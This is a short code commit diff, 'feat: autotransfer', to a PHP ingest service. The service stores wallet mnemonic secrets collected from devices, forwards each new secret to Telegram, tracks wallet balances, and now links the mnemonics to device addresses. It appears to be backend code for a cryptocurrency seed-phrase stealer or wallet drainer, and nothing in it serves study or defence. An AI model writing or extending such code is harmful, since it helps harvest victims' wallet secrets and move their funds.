feat: autotransfer
This commit is contained in:
@@ -24,6 +24,7 @@ class IngestService
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly WalletBalanceService $balances,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
private readonly MnemonicAddressLinker $mnemonicLinker,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -452,6 +453,7 @@ class IngestService
|
||||
$row->mnemonic = $secret;
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
||||
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
||||
}
|
||||
}
|
||||
@@ -567,6 +569,10 @@ class IngestService
|
||||
$attrs
|
||||
);
|
||||
|
||||
if ($addr->mnemonic_id === null) {
|
||||
$this->mnemonicLinker->linkAddress($addr);
|
||||
}
|
||||
|
||||
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
|
||||
if ($isTron && (! $existing || $coinAttrs === [])) {
|
||||
|
||||
Reference in New Issue
Block a user